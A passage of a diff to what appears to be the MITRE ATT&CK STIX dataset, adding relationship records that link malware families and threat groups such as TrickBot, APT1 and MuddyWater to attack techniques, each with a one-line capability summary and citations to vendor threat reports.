processes via the tasklist command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:57:39.556Z", + "id": "relationship--496378e6-ab36-4d3b-9ae3-c493a5b56877", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.904Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can download and launch additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0485006f-c4f6-4657-85a0-6beec8d9368a", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can download additional modules and payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.808Z", + "id": "relationship--a21e7dd8-9194-4c09-870c-11f44f391838", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Psylo](https://attack.mitre.org/software/S0078) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can disable Windows Defender.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:11:44.218Z", + "id": "relationship--875c4506-3c41-4b4d-bdc9-aa66614cfa55", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather a list of processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83ea0666-2b0d-4db8-821c-e51c15335bd1", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can check for installed software on the system under the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.922Z", + "id": "relationship--26fcd59e-5758-47ec-8a5e-68150d1ff805", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of gathering system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands net localgroup,net user, and net group to find accounts on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.510Z", + "id": "relationship--d014d8e1-b12e-4b85-84ee-ff4338c54393", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim's IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7a1e7afa-7052-4e47-8725-66e485efda43", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) is installed as a new service on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.349Z", + "id": "relationship--e6d80908-fa46-46b5-aee3-30d2e54edec0", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.349Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to get users to execute malware via social media and spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a381abec-332f-4b93-9585-875561eb52c1", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "source_name": "SecureWorks Mia Ash July 2017", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that periodically ensures HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load is set to point to its executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.485Z", + "id": "relationship--8875e27f-9f8d-418b-8937-a2c4d1858607", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.580Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for antivirus and forensics software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.960Z", + "id": "relationship--3ab6b7bc-bb49-4fcd-83fc-abbec5912d41", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45a1721f-67a3-479a-befe-d136ed0fdad3", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the name of the logged-in user on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.671Z", + "id": "relationship--bd62c9fa-b1d4-4fb9-a892-99703e1f794d", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:15:25.540Z", + "id": "relationship--8d788563-901e-4002-a599-826840b00d39", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Vasport](https://attack.mitre.org/software/S0207) can download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0e8a0760-f21e-4936-80a1-769c7ef61950", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "source_name": "Symantec Vasport May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.125Z", + "id": "relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can take screenshots of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.440Z", + "id": "relationship--4ab6eb52-821c-45da-b7d9-63840fe657cf", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.134Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on drives and the operating system on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.767Z", + "id": "relationship--ef6d08c0-e9dd-45e1-b5ce-42cd5731f2ab", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the capability to kill any running analysis processes and AV software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.852Z", + "id": "relationship--bbbf5a68-55bf-46f8-a810-fe1e4f580167", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut into the Startup folder to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.999Z", + "id": "relationship--475d30ee-999c-470c-b4b3-eed40d1db799", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can launch a remote command line to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.843Z", + "id": "relationship--8f58f0fa-54ca-412e-a681-2f864e217039", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used port 80 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.727Z", + "id": "relationship--c70a03fe-b06f-41b5-bd0c-a7c4d0b1c31e", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can execute various types of scripts on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.720Z", + "id": "relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.725Z", + "id": "relationship--c35e3d28-f9f2-4547-9927-7b734ebec54c", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing emails to deliver [BrainTest](https://attack.mitre.org/software/S0293) as a malicious attachment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:39:38.120Z", + "id": "relationship--d76bebf2-6c58-4a99-a844-e194292d558b", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "source_name": "ESET Carbon Mar 2017", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": 